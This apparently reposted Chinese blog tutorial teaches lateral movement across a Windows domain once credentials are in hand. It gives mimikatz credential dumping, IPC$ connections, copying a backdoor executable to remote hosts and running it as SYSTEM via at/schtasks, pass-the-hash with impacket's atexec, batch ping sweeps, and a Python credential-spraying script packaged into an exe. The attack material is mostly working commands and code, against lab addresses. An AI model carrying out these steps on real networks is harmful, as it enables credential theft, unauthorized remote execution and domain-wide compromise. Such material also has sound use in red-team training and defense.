2.域横向批量at&schtasks&impacke

0x01.前提条件

已知目标系统的用户明文密码的基础上 , 直接在远程主机上执行命令

本节的知识点是先搞清楚协议 , 然后扩展协议可以利用的点 , 再使用基于协议的第三方工具包 , 实战应用

0x02.横向渗透明文传递at&schtasks

1.ipc$

其本质就是IPC$空连接加上计划任务上线远程主机

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?

这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。 获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接

常用命令

net use      查看当前机器已建立的连接
net view 192.168.1.2  # 查看对方共享
net use \\192.168.1.2\ipc$ "ggg.com123!" /user:euweb   # 工作组
net use \\192.168.1.2\ipc$ "WIN.com123!" /user:hacker\win7   # 域内
dir \\192.168.1.2\C$\ # 查看文件列表
copy \\192.168.1.2\C$\1.bat 1.bat # 下载文件
copy 1.bat \\192.168.1.2\C$ # 复制文件
net use \192.168.1.2\ipc$ /del # 删除 IPC$连接

建立 IPC 常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立 IPC 失败的原因

(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

2.at&schtasks

at < Windows2012

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy mm.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\mm.exe #添加计划任务

schtasks >=Windows2012

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn mm /sc DAILY /tr c:\mm.exe /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn mm /i           #运行 mm 任务
schtasks /delete /s 192.168.3.21 /tn mm /f        #删除 mm 任务

0x03.横向渗透明文HASH传递 atexec-impacket

atexec是基于前面的at协议开发的一款第三方工具

优点 : 使用简单

缺点 : 可能会被杀软识别

常用命令

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"        # 工作组
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"  # 域内
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"   # 工作组
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" # 域内

0x04.横向渗透明文HASH传递批量利用-综合版

操作流程

1.使用mimikatz获取明文密码privilege::debugsekurlsa::logonpasswords2.使用dos命令探测存活主机for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> ips.txt3.编写批处理文件,批量操作# 批量检测ip对应明文连接for /F %%I in (ips.txt) DO net use \\%%i\ipc$ "Admin12345"net use 查看建立的连接有哪些# 批量检测ip对应的用户密码+明文回显for /F %%I in (ips.txt) DO atexec.exe ./administrator:Admin12345@%%i "whoami" # 批量检测明文密码对应ip回显for /F %%I in (pass.txt) DO atexec.exe ./administrator:%%i@192.168.3.21 "whoami" # 批量检测hash对应ip回显for /F %%I in (hash.txt) DO atexec.exe -hashes:%%i ./administrator@192.168.3.21 "whoami" 

0x05.横向渗透明文HASH传递批量利用-升级版

虽然是上面的方法已经实现了批量 , 但是有一个缺点就是每次只能控制一个变量 , 但是我们收集到的密码, ip , 域用户是三个变量 , 能不能一次实现对三个变量的检测???

python脚本

import osimport timeips = [    "192.168.3.11",    "192.168.3.21",    "192.168.3.31",    "192.168.3.32",    "192.168.3.23",]passes = [    'admin12345',     'admin',     'admin666',]users = [    'admin',    'adminstrator',    'mssql',    'dbadmin',]for i in ips:    for j in passes:        for u in users:            exec1 = f"net use \\\\{i}\ipc$ {j} /user:god\\{u}"            exec2 = f"net use \\\\{i}\ipc$ {j} /user:./{u}"            print(f"<=={exec1}==>")            print(f"<=={exec2}==>")            os.system(exec1)            os.system(exec2)            time.sleep(0.5)

然后将以上代码打包成exe

pip3 install pyinstallerpyinstaller -F -w demo.py
原文地址:https://www.cnblogs.com/xcymn/p/15712516.html